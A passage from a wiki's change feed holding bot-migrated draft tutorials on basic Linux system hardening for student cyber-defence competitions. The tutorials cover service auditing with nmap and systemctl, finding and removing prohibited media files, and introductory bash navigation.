&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;passwd &amp;lt;user&amp;gt;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
It&#039;ll then prompt you for the user&#039;s new password.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux User Auditing|023]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Linux_Todo&amp;diff=173</id>
		<title>Draft:Linux Todo</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Linux_Todo&amp;diff=173"/>
		<updated>2026-09-22T05:42:45Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/todo (source: docs/linux/todo.txt) --&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;* Application Security Settings&lt;br /&gt;
* Defensive Countermeasures&lt;br /&gt;
* Forensics Questions&lt;br /&gt;
* Local Policies&lt;br /&gt;
* Operating System Updates&lt;br /&gt;
* Malware&lt;br /&gt;
* Unwanted Software&lt;br /&gt;
* Uncat OS Settings&lt;br /&gt;
&lt;br /&gt;
* PAM guide?&lt;br /&gt;
&lt;br /&gt;
Incomplete:&lt;br /&gt;
* User Auditing&lt;br /&gt;
* Service Auditing&lt;br /&gt;
* Account Policies&lt;br /&gt;
&lt;br /&gt;
Done:&lt;br /&gt;
* Prohibited Files&lt;br /&gt;
* Application Updates&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux|999 Linux Todo]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Introduction_to_Service_Auditing&amp;diff=172</id>
		<title>Draft:Introduction to Service Auditing</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Introduction_to_Service_Auditing&amp;diff=172"/>
		<updated>2026-09-22T05:42:43Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/service_auditing/intro_service_auditing (source: docs/linux/service_auditing/intro_service_auditing.md) --&amp;gt;&lt;br /&gt;
Author(s): Matthias Lee (ml2322) &amp;lt;br /&amp;gt; Last Updated: 7-17-2025&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None! This is an introductory article.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== What is a service? ===&lt;br /&gt;
&lt;br /&gt;
A service is a background process managed by the init system, usually systemd. Services not only provice necessary functions for the system, like &amp;lt;code&amp;gt;NetworkManager&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt;, but can also host servers like Apache, Nginx, SSH, and more.&lt;br /&gt;
&lt;br /&gt;
=== Why is this important? ===&lt;br /&gt;
&lt;br /&gt;
Auditing services is important, as unwanted services may be providing remote access or sensitive data to malicious actors. Even things like SSH or Apache should be removed if not necessary, as they increase the attack surface, and can be configured to grant remote access or exfiltrate data. While this is the most common way services are abused, services can also be created to run malicious code and take advantage of running in the background, and potentially with elevated privileges.&lt;br /&gt;
&lt;br /&gt;
=== How to audit services ===&lt;br /&gt;
&lt;br /&gt;
There are several ways to check for malicious services, each with different benefits and drawbacks.&lt;br /&gt;
&lt;br /&gt;
==== nmap ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;nmap&amp;lt;/code&amp;gt; (Network Mapper) is a tool to scan a host and see what ports are open. However, you can also run it on yourself (&amp;lt;code&amp;gt;localhost&amp;lt;/code&amp;gt;) and see what ports are open on your own machine. This is by far the easiest way to check if there is an unauthorized port open, indicating an unwanted service is present.&lt;br /&gt;
&lt;br /&gt;
Nmap doesn&#039;t come preinstalled, so you will have to install it with &amp;lt;code&amp;gt;apt&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:~$ sudo apt install nmap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Once nmap is installed, you can run it on yourself to check for open ports:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:~$ nmap localhost&lt;br /&gt;
Starting Nmap 7.80 ( https://nmap.org ) at 2025-07-17 10:23 PDT&lt;br /&gt;
Nmap scan report for localhost (127.0.0.1)&lt;br /&gt;
Host is up (0.00018s latency).&lt;br /&gt;
Not shown: 993 closed ports&lt;br /&gt;
PORT     STATE SERVICE&lt;br /&gt;
22/tcp   open  ssh&lt;br /&gt;
80/tcp   open  http&lt;br /&gt;
139/tcp  open  netbios-ssn&lt;br /&gt;
445/tcp  open  microsoft-ds&lt;br /&gt;
631/tcp  open  ipp&lt;br /&gt;
&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Here, we see that I have ports &amp;lt;code&amp;gt;22&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;80&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;139&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;445&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;631&amp;lt;/code&amp;gt; open. &amp;lt;code&amp;gt;139&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;445&amp;lt;/code&amp;gt; are used for netbios discovery. These are managed by the &amp;lt;code&amp;gt;nmbd&amp;lt;/code&amp;gt; service. This isn&#039;t inherently malicious and is standard on many systems, but you may want to disable it for extra security. However, &amp;lt;code&amp;gt;22&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;80&amp;lt;/code&amp;gt; are used for SSH and HTTP respectively. You can disable services with systemctl, but outright removing the packages is better.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:~$ sudo systemctl disable ssh&lt;br /&gt;
user@system:~$ sudo systemctl disable apache2&lt;br /&gt;
user@system:~$ sudo systemctl disable nginx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:~$ sudo apt purge openssh-server&lt;br /&gt;
user@system:~$ sudo apt purge apache2&lt;br /&gt;
user@system:~$ sudo apt purge nginx-common&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
If you don&#039;t know the specific service running on a port, remove or disable all servers that could be running on that port.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Service Auditing|026]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Intermediate_Service_Auditing&amp;diff=171</id>
		<title>Draft:Intermediate Service Auditing</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Intermediate_Service_Auditing&amp;diff=171"/>
		<updated>2026-09-22T05:42:42Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/service_auditing/intermediate_service_auditing (source: docs/linux/service_auditing/intermediate_service_auditing.md) --&amp;gt;&lt;br /&gt;
Author(s): Matthias Lee (ml2322) &amp;lt;br /&amp;gt; Last Updated: 7-17-2025&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
Introduction to Service Auditing&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== More robust service auditing techniques ===&lt;br /&gt;
&lt;br /&gt;
==== Directly interact with systemd ====&lt;br /&gt;
&lt;br /&gt;
A better way to look for unauthorized services is to look at &#039;&#039;all&#039;&#039; enabled services on the system, and see which ones are not supposed to be there. You can do this with &amp;lt;code&amp;gt;systemctl&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:~$ systemctl list-unit-files | less&lt;br /&gt;
UNIT FILE                                  STATE           VENDOR PRESET&lt;br /&gt;
proc-sys-fs-binfmt_misc.automount          static          enabled      &lt;br /&gt;
-.mount                                    generated       enabled      &lt;br /&gt;
boot-efi.mount                             generated       enabled      &lt;br /&gt;
dev-hugepages.mount                        static          enabled      &lt;br /&gt;
....&lt;br /&gt;
nginx.service                              enabled         enabled&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Here, we can see that I have &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt; enabled.&lt;br /&gt;
&lt;br /&gt;
==== Baselines ====&lt;br /&gt;
&lt;br /&gt;
The one problem with the above solution is that it&#039;s tedious to look through every enabled service and see which aren&#039;t supposed to be there. The solution to this is to, on a clean machine of the same OS, export the systemctl services to a baseline:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@clean-system:~$ systemctl list-unit-files &amp;gt; baseline.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
You can then copy this file onto the machine you&#039;re working with. Now, on that machine, do the same command to export the current services to a list too:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:~$ systemctl list-unit-files &amp;gt; services.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Now, you can use diff to compare them:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:~$ diff baseline.txt services.txt&lt;br /&gt;
329a330&lt;br /&gt;
&amp;gt; nginx.service                              enabled         enabled&lt;br /&gt;
380c381&lt;br /&gt;
&amp;lt; 377 unit files listed.&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; 378 unit files listed.&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
And we see here that &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt; is, again, enabled, and should be removed.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Service Auditing|027]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Linux_Guide&amp;diff=170</id>
		<title>Draft:Linux Guide</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Linux_Guide&amp;diff=170"/>
		<updated>2026-09-22T05:42:42Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux (source: docs/linux/README.md) --&amp;gt;&lt;br /&gt;
This Github repository contains the Linux guides for [https://cypat.guide/ cypat.guide].&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux|999 Linux Guide]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Introduction_to_Prohibited_Files&amp;diff=169</id>
		<title>Draft:Introduction to Prohibited Files</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Introduction_to_Prohibited_Files&amp;diff=169"/>
		<updated>2026-09-22T05:42:41Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/prohibited_files/intro_prohibited_files (source: docs/linux/prohibited_files/intro_prohibited_files.md) --&amp;gt;&lt;br /&gt;
Author(s): Matthias Lee (ml2322) &amp;lt;br /&amp;gt; Last Updated: 07-02-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
&amp;lt;li&amp;gt;Intermediate or Advanced Bash&amp;lt;/li&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== What are prohibited files? ===&lt;br /&gt;
&lt;br /&gt;
Prohibited files are any files that are not supposed to be on a machine. This generally includes any sort of media, documents, games, malware, programs, installers, and anything else not default and not explicitly permitted. Do note that malware, installers, and programs may be under the category of Malware or Prohibited Software, however the strategies to find prohibited files still may apply.&lt;br /&gt;
&lt;br /&gt;
==== File extensions ====&lt;br /&gt;
&lt;br /&gt;
Files with the following extensions may be prohibited files:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;mp3&amp;lt;/code&amp;gt; (audio)&lt;br /&gt;
* &amp;lt;code&amp;gt;mp4&amp;lt;/code&amp;gt; (video)&lt;br /&gt;
* &amp;lt;code&amp;gt;mov&amp;lt;/code&amp;gt; (video)&lt;br /&gt;
* &amp;lt;code&amp;gt;ogg&amp;lt;/code&amp;gt; (audio)&lt;br /&gt;
* &amp;lt;code&amp;gt;deb&amp;lt;/code&amp;gt; (program installer)&lt;br /&gt;
* &amp;lt;code&amp;gt;zip&amp;lt;/code&amp;gt; (archive)&lt;br /&gt;
* &amp;lt;code&amp;gt;gz&amp;lt;/code&amp;gt; (archive)&lt;br /&gt;
* &amp;lt;code&amp;gt;tar&amp;lt;/code&amp;gt; (archive)&lt;br /&gt;
* &amp;lt;code&amp;gt;py&amp;lt;/code&amp;gt; (script)&lt;br /&gt;
* &amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt; (script)&lt;br /&gt;
&lt;br /&gt;
=== Strategies to find prohibited files ===&lt;br /&gt;
&lt;br /&gt;
==== Look manually ====&lt;br /&gt;
&lt;br /&gt;
The most basic way to find prohibited files is to manually look through every user&#039;s folder for these. This can be done several ways, the most basic being &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; to manually search their folders.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ sudo ls /home/otheruser&lt;br /&gt;
Desktop&lt;br /&gt;
Documents&lt;br /&gt;
user@system:/home/user$ sudo ls /home/otheruser/Documents&lt;br /&gt;
1984_chapter_1_audiobook.mp3&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Using tree ====&lt;br /&gt;
&lt;br /&gt;
A slightly faster way to do this is to use the &amp;lt;code&amp;gt;tree&amp;lt;/code&amp;gt; program. Tree will print a tree view of everything inside a directory, which makes it easy to filter for prohibited files. Tree isn&#039;t always installed by default so you may need to use &amp;lt;code&amp;gt;sudo apt install tree&amp;lt;/code&amp;gt; to install it. Once installed, you can do &amp;lt;code&amp;gt;sudo tree /home&amp;lt;/code&amp;gt;. This will print every file inside &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;, and you can skim the results for unauthorized files.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ sudo tree /home&lt;br /&gt;
/home&lt;br /&gt;
├── user&lt;br /&gt;
...&lt;br /&gt;
├── bob&lt;br /&gt;
│   ├── Desktop&lt;br /&gt;
│   ├── Documents&lt;br /&gt;
│   └── dQw4w9WgXcQ.mp3&lt;br /&gt;
...&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Remediating prohibited files ===&lt;br /&gt;
&lt;br /&gt;
Finding prohibited files is only one part of dealing with them, we need to get rid of them too. To do this, simply use the &amp;lt;code&amp;gt;rm&amp;lt;/code&amp;gt; command and specify the file you want to delete. Since other users may own these files, you might need to use &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;. For example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ sudo rm /home/bob/dQw4w9WgXcQ.mp3&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Prohibited Files|031]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Intermediate_Prohibited_Files&amp;diff=168</id>
		<title>Draft:Intermediate Prohibited Files</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Intermediate_Prohibited_Files&amp;diff=168"/>
		<updated>2026-09-22T05:42:40Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/prohibited_files/intermediate_prohibited_files (source: docs/linux/prohibited_files/intermediate_prohibited_files.md) --&amp;gt;&lt;br /&gt;
Author(s): Matthias Lee (ml2322) &amp;lt;br /&amp;gt; Last Updated: 07-07-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
&amp;lt;li&amp;gt;Introductory Prohibited Files&amp;lt;/li&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== More efficient strategies to find prohibited files ===&lt;br /&gt;
&lt;br /&gt;
==== find ====&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; command is a powerful tool to search the system for files matching certain criteria. To find prohibited files with it, we can use the &amp;lt;code&amp;gt;-name&amp;lt;/code&amp;gt; argument to search for all files with a specific extension. To do this, we can use a wildcard like &amp;lt;code&amp;gt;-name &amp;amp;quot;*.mp3&amp;amp;quot;&amp;lt;/code&amp;gt; to find everything that ends in &amp;lt;code&amp;gt;.mp3&amp;lt;/code&amp;gt;. However, we still need to tell &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; where to look. For example, to search for all MP3 files in &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;, the command would be &amp;lt;code&amp;gt;find /home -name &amp;amp;quot;*.mp3&amp;amp;quot;&amp;lt;/code&amp;gt;. NOTE: &amp;lt;code&amp;gt;*&amp;lt;/code&amp;gt; is a special character in bash, so you need to put it in quotes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ sudo find /home -name &amp;quot;*.wav&amp;quot;&lt;br /&gt;
/home/jacob/Audio/heyy_john.wav&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Additionally, prohibited files may not always be in the user home directories. Therefore, it&#039;s useful to search other directories or even the whole system sometimes (replace &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; for the whole system, or some other directory). However, the more broad the search, the longer it will take, and the more false positives you will get.&lt;br /&gt;
&lt;br /&gt;
=== Remediating protected prohibited files ===&lt;br /&gt;
&lt;br /&gt;
Prohibited files may sometimes have restrictive permissions to prevent you from deleting them.&lt;br /&gt;
&lt;br /&gt;
==== Taking ownership of the file ====&lt;br /&gt;
&lt;br /&gt;
A good first step to delete a file is to take ownership of it with the &amp;lt;code&amp;gt;chown&amp;lt;/code&amp;gt; command. For several files, you can use a wildcard to target them all at once. You specify &amp;lt;code&amp;gt;user:user&amp;lt;/code&amp;gt;, as you change the user ownership and group ownership to yourself.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ sudo chown user:user *.mp3&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Setting permissions ====&lt;br /&gt;
&lt;br /&gt;
The next step to take control of a file is to enable write permissions on it, with &amp;lt;code&amp;gt;chmod&amp;lt;/code&amp;gt;. We will change the permissions to &amp;lt;code&amp;gt;775&amp;lt;/code&amp;gt; to ensure we are able to delete it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ sudo chmod 775 *.mp3&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Changing attributes ====&lt;br /&gt;
&lt;br /&gt;
If the above two methods didn&#039;t enable you to delete the file, the final thing to try is to remove the immutable and append only attributes with &amp;lt;code&amp;gt;chattr&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ sudo chattr -ia *.mp3&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
====== Further Reading ======&lt;br /&gt;
&lt;br /&gt;
* https://commandmasters.com/commands/chattr-linux/&lt;br /&gt;
* https://www.howtogeek.com/437958/how-to-use-the-chmod-command-on-linux/&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Prohibited Files|032]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Advanced_Prohibited_Files&amp;diff=167</id>
		<title>Draft:Advanced Prohibited Files</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Advanced_Prohibited_Files&amp;diff=167"/>
		<updated>2026-09-22T05:42:40Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/prohibited_files/advanced_prohibited_files (source: docs/linux/prohibited_files/advanced_prohibited_files.md) --&amp;gt;&lt;br /&gt;
Author(s): Matthias Lee (ml2322) &amp;lt;br /&amp;gt; Last Updated: 07-07-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
&amp;lt;li&amp;gt;Intermediate Prohibited Files&amp;lt;/li&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== AIDE ===&lt;br /&gt;
&lt;br /&gt;
The most comprehensive solution to find prohibited files is to use AIDE (Advanced Intrusion Detection Environment). AIDE works by storing a database of all files on the system, and their attributes, and it then compares your system to the backup DB, which you make on a clean VM. AIDE is the most complicated method, as it requires specific configurations, and often also requires custom filters to make the output more usable.&lt;br /&gt;
&lt;br /&gt;
====== Further Reading ======&lt;br /&gt;
&lt;br /&gt;
* https://aide.github.io/&lt;br /&gt;
* https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/security_guide/sec-using-aide&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Prohibited Files|033]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Intro_to_Bash&amp;diff=166</id>
		<title>Draft:Intro to Bash</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Intro_to_Bash&amp;diff=166"/>
		<updated>2026-09-22T05:42:38Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/linux_fundamentals/intro_bash (source: docs/linux/linux_fundamentals/intro_bash.md) --&amp;gt;&lt;br /&gt;
Author(s): Matthias Lee (ml2322) &amp;lt;br /&amp;gt; Last Updated: 07-02-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
In most Linux operating systems, the terminal runs a program called &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;. This is the command processor, where you interact with the system. Some use other ones like &amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;zsh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;fish&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;dash&amp;lt;/code&amp;gt;. However, since they are mostly similar, this guide will still apply.&lt;br /&gt;
&lt;br /&gt;
=== What am I looking at? ===&lt;br /&gt;
&lt;br /&gt;
When you load the terminal, you are greeted with a prompt like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This tells you who you are, the system name, the current path, and your privileges.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;user&amp;lt;/code&amp;gt;: Your username&lt;br /&gt;
* &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt;: The computer&#039;s hostname&lt;br /&gt;
* &amp;lt;code&amp;gt;/home/user&amp;lt;/code&amp;gt;: The current working directory (where you are)&lt;br /&gt;
* &amp;lt;code&amp;gt;$&amp;lt;/code&amp;gt;: A &amp;lt;code&amp;gt;$&amp;lt;/code&amp;gt; at the end signifies you are operating with regular privileges. If you are the root user, however, you will see a &amp;lt;code&amp;gt;#&amp;lt;/code&amp;gt; instead (don&#039;t worry about this for now).&lt;br /&gt;
&lt;br /&gt;
=== Navigating ===&lt;br /&gt;
&lt;br /&gt;
Using terminal in the same directory isn&#039;t very practical, so learning to navigate to different directories is important.&lt;br /&gt;
&lt;br /&gt;
==== Checking your current directory ====&lt;br /&gt;
&lt;br /&gt;
To see your current directory, you can run &amp;lt;code&amp;gt;pwd&amp;lt;/code&amp;gt; (print working directory), and it will print your full working directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ pwd&lt;br /&gt;
/home/user&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Changing directories ====&lt;br /&gt;
&lt;br /&gt;
To change your directory, run the &amp;lt;code&amp;gt;cd&amp;lt;/code&amp;gt; command, followed by where you want to go. If you run &amp;lt;code&amp;gt;cd&amp;lt;/code&amp;gt; with no arguments, you will go to your home directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/something/else$ cd&lt;br /&gt;
user@system:/home/user$&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ cd /home/user/Desktop&lt;br /&gt;
user@system:/home/user/Desktop$&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Absolute vs relative paths ====&lt;br /&gt;
&lt;br /&gt;
Absolute paths are paths that start with &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt;, meaning they start at the root directory of the system and specify the full path to get to the desired file. This is useful for hardcoding anything, or using something in a completely different set of directories as where you are now.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
